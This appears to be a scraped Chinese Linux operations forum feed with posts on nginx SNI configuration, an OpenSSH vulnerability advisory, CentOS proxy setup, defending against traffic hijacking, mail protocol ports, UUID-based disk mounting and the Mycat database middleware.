# ./configure --prefix=/usr/local/nginx --with-http_ssl_module \
--with-openssl=./openssl-1.0.1e \
--with-openssl-opt="enable-tlsext"
# make
# make install查看是否启用:# /usr/local/nginx/sbin/nginx -V
TLS SNI support enabled这样就可以在 同一个IP上配置多个HTTPS主机了。

实例如下:server {
listen 443;
server_name www.baidu.com;
index index.html index.htm index.php;
root /data/wwwroot/baidu/webroot;
ssl on;
ssl_certificate "/usr/local/nginx/conf/ssl/www.baidu.com.public.cer";
ssl_certificate_key "/usr/local/nginx/conf/ssl/www.baidu.com.private.key";
......
}

server {
listen 443;
server_name www.uko.com;
index index.html index.htm index.php;
root /data/wwwroot/www.uko.com/webroot;
ssl on;
ssl_certificate "/usr/local/nginx/conf/ssl/www.uko.com.public.cer";
ssl_certificate_key "/usr/local/nginx/conf/ssl/www.uko.com.private.key";
......
}分享阅读:http://www.ttlsa.com/web/multiple-https-host-nginx-with-a-ip-configuration/ 查看全部
最近公司域名更变,同时,又要新旧域名同时运行。 那么,对于https的域名在同一个IP上如何同时存在多个虚拟主机呢?查看了下nginx手册,有这么一段内容,如下:

如果在同一个IP上配置多个HTTPS主机,会出现一个很普遍的问题:
server {
listen 443;
server_name www.example.com;
ssl on;
ssl_certificate www.example.com.crt;
...
}

server {
listen 443;
server_name www.example.org;
ssl on;
ssl_certificate www.example.org.crt;
...
}
使用上面的配置,不论浏览器请求哪个主机,都只会收到默认主机www.example.com的证书。这是由SSL协议本身的行为引起的——先建立SSL连接,再发送HTTP请求,所以nginx建立SSL连接时不知道所请求主机的名字,因此,它只会返回默认主机的证书。

最古老的也是最稳定的解决方法就是每个HTTPS主机使用不同的IP地址:
server {
listen 192.168.1.1:443;
server_name www.example.com;
ssl on;
ssl_certificate www.example.com.crt;
...
}

server {
listen 192.168.1.2:443;
server_name www.example.org;
ssl on;
ssl_certificate www.example.org.crt;
...
}
那么,在同一个IP上,如何配置多个HTTPS主机呢?

nginx支持TLS协议的SNI扩展(Server Name Indication,简单地说这个扩展使得在同一个IP上可以以不同的证书serv不同的域名)。不过,SNI扩展还必须有客户端的支持,另外本地的OpenSSL必须支持它。

如果启用了SSL支持,nginx便会自动识别OpenSSL并启用SNI。是否启用SNI支持,是在编译时由当时的 ssl.h 决定的(SSL_CTRL_SET_TLSEXT_HOSTNAME),如果编译时使用的OpenSSL库支持SNI,则目标系统的OpenSSL库只要支持它就可以正常使用SNI了。

nginx在默认情况下是TLS SNI support disabled。

启用方法:
需要重新编译nginx并启用TLS。步骤如下:
# wget http://www.openssl.org/source/openssl-1.0.1e.tar.gz
# tar zxvf openssl-1.0.1e.tar.gz
# ./configure --prefix=/usr/local/nginx --with-http_ssl_module \
--with-openssl=./openssl-1.0.1e \
--with-openssl-opt="enable-tlsext"
# make
# make install
查看是否启用:
# /usr/local/nginx/sbin/nginx -V
TLS SNI support enabled
这样就可以在 同一个IP上配置多个HTTPS主机了。

实例如下:
server  {
listen 443;
server_name www.baidu.com;
index index.html index.htm index.php;
root /data/wwwroot/baidu/webroot;
ssl on;
ssl_certificate "/usr/local/nginx/conf/ssl/www.baidu.com.public.cer";
ssl_certificate_key "/usr/local/nginx/conf/ssl/www.baidu.com.private.key";
......
}

server {
listen 443;
server_name www.uko.com;
index index.html index.htm index.php;
root /data/wwwroot/www.uko.com/webroot;
ssl on;
ssl_certificate "/usr/local/nginx/conf/ssl/www.uko.com.public.cer";
ssl_certificate_key "/usr/local/nginx/conf/ssl/www.uko.com.private.key";
......
}
分享阅读:http://www.ttlsa.com/web/multiple-https-host-nginx-with-a-ip-configuration/

OpenSSH 远程代码执行漏洞安全预警

开源技术Geek小A 发表了文章 • 0 个评论 • 131 次浏览 • 2016-12-22 15:27 • 来自相关话题

概述

12 月 19 日,国外漏洞平台 securityfocus 上发布了最新的 OpenSSH(CVE-2016-10009) 远程代码执行漏洞。官方发布的openssh 7.4版本已经修复此漏洞,同时还修复了CVE-2016-10010、CVE-2016-10011、CVE-2016-10012和CVE-2016-8858。 请检查您使用版本是否在影响范围之内,并及时升级。
 

影响范围

OpenSSH 5.0 – 7.3
 

修复方案

请在升级前做好快照和文件备份,防止出现意外事件
1、升级到官网发布的 OpenSSH 7.4版本
注:升级openssh需要先将OpenSSL和Zlib升级到新版本
 

漏洞详情

CVE-2016-10009:黑客可通过此漏洞执行远程代码,或导致数据泄露。问题出在 ssh-agent ,这个进程默认不启动、只在多主机间免密码登录时才会用到,漏洞利用条件也比较苛刻,攻击者需要有控制agent-sock的权限和文件系统的写权限。官方漏洞评级为“中危”。

可以通过查看系统中是否有名为“ssh-agent ”的进程判断是否启用ssh-agent。

注:OpenSSH 7.4 已于 2016 年 12 月 19 日正式发布,新版本移植了在 Linux、BSD、以及其它类 Unix 平台上 SSH 2.0 协议的完整支持,主要修复了上一个版本中发现的 bug 和安全问题。需注意的是,7.4 版本的各项底层变化,有可能会影响现有的配置。

参考链接
https://www.openssh.com/txt/release-7.4 
http://seclists.org/oss-sec/2016/q4/708  查看全部
openssh.png


概述


12 月 19 日,国外漏洞平台 securityfocus 上发布了最新的 OpenSSH(CVE-2016-10009) 远程代码执行漏洞。官方发布的openssh 7.4版本已经修复此漏洞,同时还修复了CVE-2016-10010、CVE-2016-10011、CVE-2016-10012和CVE-2016-8858。 请检查您使用版本是否在影响范围之内,并及时升级。
 


影响范围


OpenSSH 5.0 – 7.3
 


修复方案


请在升级前做好快照和文件备份,防止出现意外事件
1、升级到官网发布的 OpenSSH 7.4版本
注:升级openssh需要先将OpenSSL和Zlib升级到新版本
 


漏洞详情


CVE-2016-10009:黑客可通过此漏洞执行远程代码,或导致数据泄露。问题出在 ssh-agent ,这个进程默认不启动、只在多主机间免密码登录时才会用到,漏洞利用条件也比较苛刻,攻击者需要有控制agent-sock的权限和文件系统的写权限。官方漏洞评级为“中危”。

可以通过查看系统中是否有名为“ssh-agent ”的进程判断是否启用ssh-agent。

注:OpenSSH 7.4 已于 2016 年 12 月 19 日正式发布,新版本移植了在 Linux、BSD、以及其它类 Unix 平台上 SSH 2.0 协议的完整支持,主要修复了上一个版本中发现的 bug 和安全问题。需注意的是,7.4 版本的各项底层变化,有可能会影响现有的配置。

参考链接
https://www.openssh.com/txt/release-7.4 
http://seclists.org/oss-sec/2016/q4/708 

CentOS下设置代理上网各种小技巧

开源技术Rock 发表了文章 • 0 个评论 • 115 次浏览 • 2016-12-21 16:37 • 来自相关话题

最近有人问CentOS如何设置各种代理上网;下面就为大家带来CentOS设置各种代理上网的方法;有需要的朋友可以看看。
 

1、网页上网​

桌面版的Centos的话,网页上网设置代理很简单,在firefox浏览器下 :
Edit-->>Preferences-->>Advanced-->>Network在Connection下点击Settings,里面的manual proxy configuration里设置IP和PORT即可。
 

2、yum代理设置

编辑文件为:/etc/yum.conf ,在里面添加这一行:proxy=IP:PORT这里的IP是你代理服务器的ip,端口也是你代理服务器的服务端口。
 

3、wget代理设置

编辑文件为:/etc/wgetrc , 添加下面两行:
http_proxy = IP:PORT
ftp_proxy = IP:PORT
 

4、系统环境代理设置

编辑文件为/etc/profile,如果只想给自己的账户设置,则编辑~/.bashrc即可
添加如下三行:
# add proxy for network
export http_proxy=http://child-prc.intel.com:913
export https_proxy=http://child-prc.intel.com:913
export ftp_proxy=$http_proxy然后source /etc/profile 或者source ~/.bashrc即可 查看全部
Centosimage.png

最近有人问CentOS如何设置各种代理上网;下面就为大家带来CentOS设置各种代理上网的方法;有需要的朋友可以看看。
 


1、网页上网​


桌面版的Centos的话,网页上网设置代理很简单,在firefox浏览器下 :
Edit-->>Preferences-->>Advanced-->>Network
在Connection下点击Settings,里面的manual proxy configuration里设置IP和PORT即可。
 


2、yum代理设置


编辑文件为:/etc/yum.conf ,在里面添加这一行:
proxy=IP:PORT
这里的IP是你代理服务器的ip,端口也是你代理服务器的服务端口。
 


3、wget代理设置


编辑文件为:/etc/wgetrc , 添加下面两行:
http_proxy = IP:PORT  
ftp_proxy = IP:PORT

 


4、系统环境代理设置


编辑文件为/etc/profile,如果只想给自己的账户设置,则编辑~/.bashrc即可
添加如下三行:
# add proxy for network
export http_proxy=http://child-prc.intel.com:913
export https_proxy=http://child-prc.intel.com:913
export ftp_proxy=$http_proxy
然后source /etc/profile 或者source ~/.bashrc即可

流量劫持与防范

开源技术Ansible 发表了文章 • 0 个评论 • 146 次浏览 • 2016-12-20 18:47 • 来自相关话题

摘要

流量劫持现象在国内十分猖獗,6家国内顶级互联网公司呼吁有关运营商严格打击流量劫持问题。流量劫持分为域名劫持和内容篡改两类,通过HTTP DNS产品和内容HTTPS加密可以基本解决这两类问题。
 

概述

2015年12月15日,今日头条、美团大众点评网、360、腾讯、微博、小米科技六家公司发表联合声明,共同呼吁有关运营商严格打击流量劫持问题,重视互联网被流量劫持可能导致的严重后果。

联合声明指出,在当前的移动互联网环境下,流量劫持主要分为两种方式:域名劫持和数据劫持,放任流量劫持会导致扰乱市场秩序、损害用户利益以及传播诈骗、色情等低俗甚至严重违法信息的恶果。

而在2015年11月,上海浦东法院也刚刚对中国大陆地区首例流量劫持刑案作出判决,两名被告人被判有期徒刑三年,缓刑三年,扣押在案的作案工具以及没收退缴在案的违法所得。

在此前的很长时间内,流量劫持行为并没有被定义为刑事犯罪,而随着浦东法院的判决、六大互联网公司联合声明的发出,流量劫持正在得到更大范围的关注。如何防范流量劫持正成为各家互联网公司的探讨重点。

就此,记者联系了阿里云资深开发工程师亭林,请他介绍了流量劫持的技术原理以及相应的防范措施,精简分享如下。
 
相对于PC端的网络环境,移动端的网络环境更为复杂,2G、3G、4G、Wi-Fi各有不同,而复杂的网络环境也增加了流量劫持的可能性和复杂程度。
 
首先流量劫持的方式主要分为两种,域名劫持和数据劫持。
 

域名劫持

域名劫持是针对传统DNS解析的常见劫持方式。用户在浏览器输入网址,即发出一个HTTP请求,首先需要进行域名解析,得到业务服务器的IP地址。使用传统DNS解析时,会通过当地网络运营商提供的Local DNS解析得到结果。域名劫持,即是在请求Local DNS解析域名时出现问题,目标域名被恶意地解析到其他IP地址,造成用户无法正常使用服务。




解决域名劫持的一个办法就是绕开Local DNS,通过一个可信的源头来解析域名,解析方式不需要拘泥于DNS协议,也可以通过HTTP的方式。两年前,手机淘宝等APP也曾遇到这一问题,随后在做底层网络优化时,通过使用自己定制的HTTPDNS,一个安全可信的域名解析方案,解决了域名劫持问题。

HTTPDNS技术也准备通过阿里云平台开放给广大开发者使用,当前这款产品正在公测中,将于2016年3月29日提供商业化服务。到时,阿里云上的移动开发者也能自主选择,将需要防劫持的域名进行保护。
 

数据劫持

数据劫持基本针对明文传输的内容发生。用户发起HTTP请求,服务器返回页面内容时,经过中间的运营商网络,页面内容被篡改或加塞内容,强行插入弹窗或者广告。

行业内解决的办法即是对内容进行HTTPS加密,实现密文传输,彻底避免劫持问题。MD5校验同样能起到防止数据劫持的作用,MD5校验是指内容返回前,应用层对返回的数据进行校验,生成校验值;同时,内容接收方接收到内容后,也对内容进行校验,同样生成校验值,将这两个校验值进行比对,倘若一致,则可以判断数据无劫持。但相比HTTPS加密,MD5校验存在一定风险,劫持方技术能力强则有可能在篡改内容后替换校验值,导致接收方判断错误。

使用HTTPS加密,已经成为了互联网行业的大势所趋。今年双11,阿里的淘宝、天猫、聚划算等电商平台也都全面实现了HTTPS加密访问,全站改造投入巨大,但有效防止了资源被劫持,保障了用户的收发信息安全。未来,这一技术将不仅限于电商平台,还将通过阿里云对外输出,赋能更多的中小互联网企业,降低他们的创业成本,在更安全的移动互联网环境中得到发展。

阅读分享:https://yq.aliyun.com/articles/8656?spm=5176.100239.blogcont60033.8.zmhPUY 查看全部


摘要


流量劫持现象在国内十分猖獗,6家国内顶级互联网公司呼吁有关运营商严格打击流量劫持问题。流量劫持分为域名劫持和内容篡改两类,通过HTTP DNS产品和内容HTTPS加密可以基本解决这两类问题。
 


概述


2015年12月15日,今日头条、美团大众点评网、360、腾讯、微博、小米科技六家公司发表联合声明,共同呼吁有关运营商严格打击流量劫持问题,重视互联网被流量劫持可能导致的严重后果。

联合声明指出,在当前的移动互联网环境下,流量劫持主要分为两种方式:域名劫持和数据劫持,放任流量劫持会导致扰乱市场秩序、损害用户利益以及传播诈骗、色情等低俗甚至严重违法信息的恶果。

而在2015年11月,上海浦东法院也刚刚对中国大陆地区首例流量劫持刑案作出判决,两名被告人被判有期徒刑三年,缓刑三年,扣押在案的作案工具以及没收退缴在案的违法所得。

在此前的很长时间内,流量劫持行为并没有被定义为刑事犯罪,而随着浦东法院的判决、六大互联网公司联合声明的发出,流量劫持正在得到更大范围的关注。如何防范流量劫持正成为各家互联网公司的探讨重点。

就此,记者联系了阿里云资深开发工程师亭林,请他介绍了流量劫持的技术原理以及相应的防范措施,精简分享如下。
 
相对于PC端的网络环境,移动端的网络环境更为复杂,2G、3G、4G、Wi-Fi各有不同,而复杂的网络环境也增加了流量劫持的可能性和复杂程度。
 
首先流量劫持的方式主要分为两种,域名劫持和数据劫持。
 


域名劫持


域名劫持是针对传统DNS解析的常见劫持方式。用户在浏览器输入网址,即发出一个HTTP请求,首先需要进行域名解析,得到业务服务器的IP地址。使用传统DNS解析时,会通过当地网络运营商提供的Local DNS解析得到结果。域名劫持,即是在请求Local DNS解析域名时出现问题,目标域名被恶意地解析到其他IP地址,造成用户无法正常使用服务。
DnsDomain.png

解决域名劫持的一个办法就是绕开Local DNS,通过一个可信的源头来解析域名,解析方式不需要拘泥于DNS协议,也可以通过HTTP的方式。两年前,手机淘宝等APP也曾遇到这一问题,随后在做底层网络优化时,通过使用自己定制的HTTPDNS,一个安全可信的域名解析方案,解决了域名劫持问题。

HTTPDNS技术也准备通过阿里云平台开放给广大开发者使用,当前这款产品正在公测中,将于2016年3月29日提供商业化服务。到时,阿里云上的移动开发者也能自主选择,将需要防劫持的域名进行保护。
 


数据劫持


数据劫持基本针对明文传输的内容发生。用户发起HTTP请求,服务器返回页面内容时,经过中间的运营商网络,页面内容被篡改或加塞内容,强行插入弹窗或者广告。

行业内解决的办法即是对内容进行HTTPS加密,实现密文传输,彻底避免劫持问题。MD5校验同样能起到防止数据劫持的作用,MD5校验是指内容返回前,应用层对返回的数据进行校验,生成校验值;同时,内容接收方接收到内容后,也对内容进行校验,同样生成校验值,将这两个校验值进行比对,倘若一致,则可以判断数据无劫持。但相比HTTPS加密,MD5校验存在一定风险,劫持方技术能力强则有可能在篡改内容后替换校验值,导致接收方判断错误。

使用HTTPS加密,已经成为了互联网行业的大势所趋。今年双11,阿里的淘宝、天猫、聚划算等电商平台也都全面实现了HTTPS加密访问,全站改造投入巨大,但有效防止了资源被劫持,保障了用户的收发信息安全。未来,这一技术将不仅限于电商平台,还将通过阿里云对外输出,赋能更多的中小互联网企业,降低他们的创业成本,在更安全的移动互联网环境中得到发展。


阅读分享:https://yq.aliyun.com/articles/8656?spm=5176.100239.blogcont60033.8.zmhPUY


邮件服务端口介绍

开源技术koyo 发表了文章 • 0 个评论 • 83 次浏览 • 2016-12-19 19:42 • 来自相关话题

25端口(SMTP):25端口为SMTP(Simple Mail Transfer Protocol,简单邮件传输协议)服务所开放的,是用于发送邮件。 
如今绝大多数邮件服务器都使用该协议。当你给别人发送邮件时,你的机器的某个动态端口(大于1024)就会与邮件服务器的25号端口建立一个连接,你发送的邮件就会通过这个连接传送到邮件服务器上,保存起来。
 
109端口(POP2):109端口是为POP2(Post Office Protocol Version2,邮局协议2)服务开放的,是用于接收邮件的。

110端口(POP3):110端口是为POP3(Post Office Protocol Version3,邮局协议3)服务开放的,是用于接收邮件的。

143端口(IMAP):143端口是为IMAP(INTERNET MESSAGE ACCESS PROTOCOL)服务开放的,是用于接收邮件的。

目前POP3使用的比POP2广得多,POP2几乎被淘汰,也有某些服务器同时支持POP2和POP3协议。客户端可以使用POP3协议来访问服务端的邮件服务,如今ISP的绝大多数邮件服务器都是使用POP3协议(极少用POP2协议)。在使用邮件客户端程序的时候,会要求输入POP3服务器地址,默认情况下使用的就是110端口。当你用邮件客户端(比如、Thunderbird、foxmail、MS Outlook Express以及各类邮件精灵)登录时,你的机器就会自动用机器的某一个动态端口(大于1024)连接邮件服务器的110端口,服务器就把别人给你发的邮件(之前保存在邮件服务器上),发送到你机器,这样你就可以看到你客户端工具上的收件箱里的新邮件了。

IMAP协议,和POP3协议一样是用来接收邮件的,但是它有它的特别和新颖之处,它是面向用户的,它和POP3协议的主要区别是:用户可以不用把所有的邮件内容全部下载,而是只下载邮件标题和发件人等基本信息,用户可以由标题等基本信息,去决定是否下载邮件全文,用户可以通过客户端的浏览器直接对服务器上的邮件进行操作(比如:打开阅读全文、丢进垃圾箱、永久删除、整理到某文件夹下、归档、)。再简单来说就是:浏览器用的IMAP协议(143端口)来为你接收邮件以及让你很方便的操作服务器上的邮件。邮件客户端用的POP3协议(110端口)来为你接收邮件的全部信息和全文内容保存到你的本地机器成为一个副本,你对邮件客户端上的副本邮件的任何操作都是在副本上,不干涉邮件服务器上为你保存的邮件原本。

上面介绍的SMTP协议、POP2协议、POP3协议、IMAP协议都是不安全的协议。因考虑到网络安全的因素,下面给你介绍基于SSL(Secure Sockets Layer 安全套接层)协议的安全的邮件收发协议。你的邮件在传输过程中可能被网络黑客截取邮件内容,如果你的邮件机密性非常强,不想被收件人以外的任何人和任何黑客截取,或者是涉及国家机密安全的,等等。那么你的邮件就不该使用上述的三种协议进行收发。

若你采用SMTP协议发邮件,那么你发出的邮件从你的机器传到服务器的过程中,可能被黑客截取从而泄露。若你采用POP2或者POP3协议收取邮件,那么你的邮件从服务器传至你当前机器的过程可能被黑客截取从而泄露。

465端口(SMTPS):465端口是为SMTPS(SMTP-over-SSL)协议服务开放的,这是SMTP协议基于SSL安全协议之上的一种变种协议,它继承了SSL安全协议的非对称加密的高度安全可靠性,可防止邮件泄露。SMTPS和SMTP协议一样,也是用来发送邮件的,只是更安全些,防止邮件被黑客截取泄露,还可实现邮件发送者抗抵赖功能。防止发送者发送之后删除已发邮件,拒不承认发送过这样一份邮件。

995端口(POP3S):995端口是为POP3S(POP3-over-SSL)协议服务开放的,这是POP3协议基于SSL安全协议之上的一种变种协议,它继承了SSL安全协议的非对称加密的高度安全可靠性,可防止邮件泄露。POP3S和POP3协议一样,也是用来接收邮件的,只是更安全些,防止邮件被黑客截取泄露,还可实现邮件接收方抗抵赖功能。防止收件者收件之后删除已收邮件,拒不承认收到过这样一封邮件。

993端口(IMAPS):993端口是为IMAPS(IMAP-over-SSL)协议服务开放的,这是IMAP协议基于SSL安全协议之上的一种变种协议,它继承了SSL安全协议的非对称加密的高度安全可靠性,可防止邮件泄露。IMAPS和IMAP协议一样,也是用来接收邮件的,只是更安全些,防止邮件被黑客截取泄露,还可实现邮件接收方抗抵赖功能。防止收件者收件之后删除已收邮件,拒不承认收到过这样一封邮件。 查看全部
mail.png

25端口(SMTP):25端口为SMTP(Simple Mail Transfer Protocol,简单邮件传输协议)服务所开放的,是用于发送邮件。 
如今绝大多数邮件服务器都使用该协议。当你给别人发送邮件时,你的机器的某个动态端口(大于1024)就会与邮件服务器的25号端口建立一个连接,你发送的邮件就会通过这个连接传送到邮件服务器上,保存起来。
 
109端口(POP2):109端口是为POP2(Post Office Protocol Version2,邮局协议2)服务开放的,是用于接收邮件的。

110端口(POP3):110端口是为POP3(Post Office Protocol Version3,邮局协议3)服务开放的,是用于接收邮件的。

143端口(IMAP):143端口是为IMAP(INTERNET MESSAGE ACCESS PROTOCOL)服务开放的,是用于接收邮件的。

目前POP3使用的比POP2广得多,POP2几乎被淘汰,也有某些服务器同时支持POP2和POP3协议。客户端可以使用POP3协议来访问服务端的邮件服务,如今ISP的绝大多数邮件服务器都是使用POP3协议(极少用POP2协议)。在使用邮件客户端程序的时候,会要求输入POP3服务器地址,默认情况下使用的就是110端口。当你用邮件客户端(比如、Thunderbird、foxmail、MS Outlook Express以及各类邮件精灵)登录时,你的机器就会自动用机器的某一个动态端口(大于1024)连接邮件服务器的110端口,服务器就把别人给你发的邮件(之前保存在邮件服务器上),发送到你机器,这样你就可以看到你客户端工具上的收件箱里的新邮件了。

IMAP协议,和POP3协议一样是用来接收邮件的,但是它有它的特别和新颖之处,它是面向用户的,它和POP3协议的主要区别是:用户可以不用把所有的邮件内容全部下载,而是只下载邮件标题和发件人等基本信息,用户可以由标题等基本信息,去决定是否下载邮件全文,用户可以通过客户端的浏览器直接对服务器上的邮件进行操作(比如:打开阅读全文、丢进垃圾箱、永久删除、整理到某文件夹下、归档、)。再简单来说就是:浏览器用的IMAP协议(143端口)来为你接收邮件以及让你很方便的操作服务器上的邮件。邮件客户端用的POP3协议(110端口)来为你接收邮件的全部信息和全文内容保存到你的本地机器成为一个副本,你对邮件客户端上的副本邮件的任何操作都是在副本上,不干涉邮件服务器上为你保存的邮件原本。

上面介绍的SMTP协议、POP2协议、POP3协议、IMAP协议都是不安全的协议。因考虑到网络安全的因素,下面给你介绍基于SSL(Secure Sockets Layer 安全套接层)协议的安全的邮件收发协议。你的邮件在传输过程中可能被网络黑客截取邮件内容,如果你的邮件机密性非常强,不想被收件人以外的任何人和任何黑客截取,或者是涉及国家机密安全的,等等。那么你的邮件就不该使用上述的三种协议进行收发。

若你采用SMTP协议发邮件,那么你发出的邮件从你的机器传到服务器的过程中,可能被黑客截取从而泄露。若你采用POP2或者POP3协议收取邮件,那么你的邮件从服务器传至你当前机器的过程可能被黑客截取从而泄露。

465端口(SMTPS):465端口是为SMTPS(SMTP-over-SSL)协议服务开放的,这是SMTP协议基于SSL安全协议之上的一种变种协议,它继承了SSL安全协议的非对称加密的高度安全可靠性,可防止邮件泄露。SMTPS和SMTP协议一样,也是用来发送邮件的,只是更安全些,防止邮件被黑客截取泄露,还可实现邮件发送者抗抵赖功能。防止发送者发送之后删除已发邮件,拒不承认发送过这样一份邮件。

995端口(POP3S):995端口是为POP3S(POP3-over-SSL)协议服务开放的,这是POP3协议基于SSL安全协议之上的一种变种协议,它继承了SSL安全协议的非对称加密的高度安全可靠性,可防止邮件泄露。POP3S和POP3协议一样,也是用来接收邮件的,只是更安全些,防止邮件被黑客截取泄露,还可实现邮件接收方抗抵赖功能。防止收件者收件之后删除已收邮件,拒不承认收到过这样一封邮件。

993端口(IMAPS):993端口是为IMAPS(IMAP-over-SSL)协议服务开放的,这是IMAP协议基于SSL安全协议之上的一种变种协议,它继承了SSL安全协议的非对称加密的高度安全可靠性,可防止邮件泄露。IMAPS和IMAP协议一样,也是用来接收邮件的,只是更安全些,防止邮件被黑客截取泄露,还可实现邮件接收方抗抵赖功能。防止收件者收件之后删除已收邮件,拒不承认收到过这样一封邮件。

[开源工具]模拟数据生成器:Data-Processer

开源技术云智慧APM 发表了文章 • 1 个评论 • 103 次浏览 • 2016-12-16 14:37 • 来自相关话题

安装Vim报错

开源技术采菊篱下 回复了问题 • 2 人关注 • 1 个回复 • 116 次浏览 • 2016-12-10 20:46 • 来自相关话题

条新动态, 点击查看
采菊篱下

采菊篱下 回答了问题 • 2016-05-15 10:57 • 2 个回复 不感兴趣

Linux怎么查看磁盘UUID并挂载

赞同来自:

**1、查看磁盘分区结构**
lsblk命令可以清晰的获取全局的块设备布局
# lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
vda 252:0 0 40G 0 disk
└─vda1 ... 显示全部 »
**1、查看磁盘分区结构**
lsblk命令可以清晰的获取全局的块设备布局
# lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
vda 252:0 0 40G 0 disk
└─vda1 252:1 0 40G 0 part /
vdb 252:16 0 300G 0 disk
sr0 11:0 1 1024M 0 rom
#
**2、查看磁盘UUID**
一般服务器都有多个硬盘分区,在重启后,这些分区的逻辑位置加载时可能会发生变动,如果使用传统的设备名称(例如:/dev/sda)方式挂载磁盘,就可能因为磁盘顺序变化而造成混乱。

Linux环境中每个Block Device都有一个全局唯一的UUID,可以标识这个设备,我们可以在fstab中使用UUID替换设备名称,这样就不会产生上述混乱的情况了。
查看方法:
# blkid
/dev/vda1: UUID="94e4e384-0ace-437f-bc96-057dd64f42ee" TYPE="ext4"
/dev/vdb: UUID="9e6fc7ab-f624-4638-b757-b797176467e2" TYPE="ext4"
#
**3、编辑挂载磁盘**
# vim /etc/fstab在最后加上一行,然后:wq保存退出。
1197
 
_**重启查看/dev/vdb挂载情况:**_
# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/vda1 40G 1.4G 36G 4% /
tmpfs 3.9G 0 3.9G 0% /dev/shm
/dev/vdb 296G 191M 281G 1% /data
#

开源分布式数据库Mysql中间件Mycat

开源项目chris 发表了文章 • 1 个评论 • 2079 次浏览 • 2016-01-09 19:54 • 来自相关话题

什么是MYCAT

[]一个彻底开源的,面向企业应用开发的大数据库集群[/][]支持事务、ACID、可以替代MySQL的加强版数据库[/][]一个可以视为MySQL集群的企业级数据库,用来替代昂贵的Oracle集群[/][]一个融合内存缓存技术、NoSQL技术、HDFS大数据的新型SQL Server[/][]结合传统数据库和新型分布式数据仓库的新一代企业级数据库产品[/][]一个新颖的数据库中间件产品[/]

Mycat特性

[]支持SQL92标准[/][]遵守Mysql原生协议,跨语言,跨数据库的通用中间件代理。[/][]基于心跳的自动故障切换,支持读写分离,支持MySQL主从,以及galera cluster。[/][]支持Galera for MySQL集群,Percona Cluster或者MariaDB cluster[/][]基于Nio实现,有效管理线程,高并发问题。[/][]支持数据的多片自动路由与聚合,支持sum,count,max等常用的聚合函数。[/][]支持2表join,甚至基于caltlet的多表join。[/][]支持通过全局表,ER关系的分片策略,实现了高效的多表join查询。[/][]支持多租户方案。[/][]支持分布式事务(弱xa)。[/][]支持全局序列号,解决分布式下的主键生成问题。[/][]分片规则丰富,插件化开发,易于扩展。[/][]强大的web,命令行监控。[/][]支持前端作为mysq通用代理,后端JDBC方式支持Oracle、DB2、SQL Server 、 mongodb 、巨杉。[/][]支持密码加密[/][]支持IP白名单[/][]支持SQL黑名单、sql注入攻击拦截[/][]集群基于ZooKeeper管理,在线升级,扩容,智能优化,大数据处理(2.0开发版)。[/]

Mycat架构






Mycat高可用方案


















Mycat监控

[]支持对Mycat、Mysql性能监控[/][]支持对Mycat的JVM内存提供监控服务[/][]支持对线程的监控[/][]支持对操作系统的CPU、内存、磁盘、网络的监控[/]









目标

低成本的将现有的单机数据库和应用平滑迁移到“云”端,解决数据存储和业务规模迅速增长情况下的数据瓶颈问题。
1.5版本架构





长期规划2.0

[]完全实现分布式事务,完全的支持分布式。[/][]通过Mycat web(eye)完成可视化配置,及智能监控,自动运维。[/][]通过mysql 本地节点,完整的解决数据扩容难度,实现自动扩容机制,解决扩容难点。[/][]支持基于zookeeper的主从切换及Mycat集群化管理。[/][]通过Mycat Balance 替代第三方的Haproxy,LVS等第三方高可用,完整的兼容Mycat集群节点的动态上下线。[/][]接入Spark等第三方工具,解决数据分析及大数据聚合的业务场景。[/][]通过Mycat智能优化,分析分片热点,提供合理的分片建议,索引建议,及数据切分实时业务建议。[/]

优势

基于阿里开源的Cobar产品而研发,Cobar的稳定性、可靠性、优秀的架构和性能以及众多成熟的使用案例使得MYCAT一开始就拥有一个很好的起点,站在巨人的肩膀上,我们能看到更远。业界优秀的开源项目和创新思路被广泛融入到MYCAT的基因中,使得MYCAT在很多方面都领先于目前其他一些同类的开源项目,甚至超越某些商业产品。
MYCAT背后有一支强大的技术团队,其参与者都是5年以上资深软件工程师、架构师、DBA等,优秀的技术团队保证了MYCAT的产品质量。
MYCAT并不依托于任何一个商业公司,因此不像某些开源项目,将一些重要的特性封闭在其商业产品中,使得开源项目成了一个摆设。

Mycat关注

老外都开始关注Mycat了!





Mycat官方论坛:http://i.mycat.io/forum.php
Mycat Github:https://github.com/MyCATApache
Mycat权威指南第一版_V1.5.1:http://pan.baidu.com/s/1i3SFOpf 查看全部


什么是MYCAT


    []一个彻底开源的,面向企业应用开发的大数据库集群[/][]支持事务、ACID、可以替代MySQL的加强版数据库[/][]一个可以视为MySQL集群的企业级数据库,用来替代昂贵的Oracle集群[/][]一个融合内存缓存技术、NoSQL技术、HDFS大数据的新型SQL Server[/][]结合传统数据库和新型分布式数据仓库的新一代企业级数据库产品[/][]一个新颖的数据库中间件产品[/]


Mycat特性


    []支持SQL92标准[/][]遵守Mysql原生协议,跨语言,跨数据库的通用中间件代理。[/][]基于心跳的自动故障切换,支持读写分离,支持MySQL主从,以及galera cluster。[/][]支持Galera for MySQL集群,Percona Cluster或者MariaDB cluster[/][]基于Nio实现,有效管理线程,高并发问题。[/][]支持数据的多片自动路由与聚合,支持sum,count,max等常用的聚合函数。[/][]支持2表join,甚至基于caltlet的多表join。[/][]支持通过全局表,ER关系的分片策略,实现了高效的多表join查询。[/][]支持多租户方案。[/][]支持分布式事务(弱xa)。[/][]支持全局序列号,解决分布式下的主键生成问题。[/][]分片规则丰富,插件化开发,易于扩展。[/][]强大的web,命令行监控。[/][]支持前端作为mysq通用代理,后端JDBC方式支持Oracle、DB2、SQL Server 、 mongodb 、巨杉。[/][]支持密码加密[/][]支持IP白名单[/][]支持SQL黑名单、sql注入攻击拦截[/][]集群基于ZooKeeper管理,在线升级,扩容,智能优化,大数据处理(2.0开发版)。[/]


Mycat架构


mycat_arch.png


Mycat高可用方案


mysql_ha1.png

mysql_ha2.png

mysql_ha3.png

mycat_ha4.png


Mycat监控


    []支持对Mycat、Mysql性能监控[/][]支持对Mycat的JVM内存提供监控服务[/][]支持对线程的监控[/][]支持对操作系统的CPU、内存、磁盘、网络的监控[/]

mycateye1.png

mycateye2.png


目标


低成本的将现有的单机数据库和应用平滑迁移到“云”端,解决数据存储和业务规模迅速增长情况下的数据瓶颈问题。
1.5版本架构
mycat2_0.png


长期规划2.0


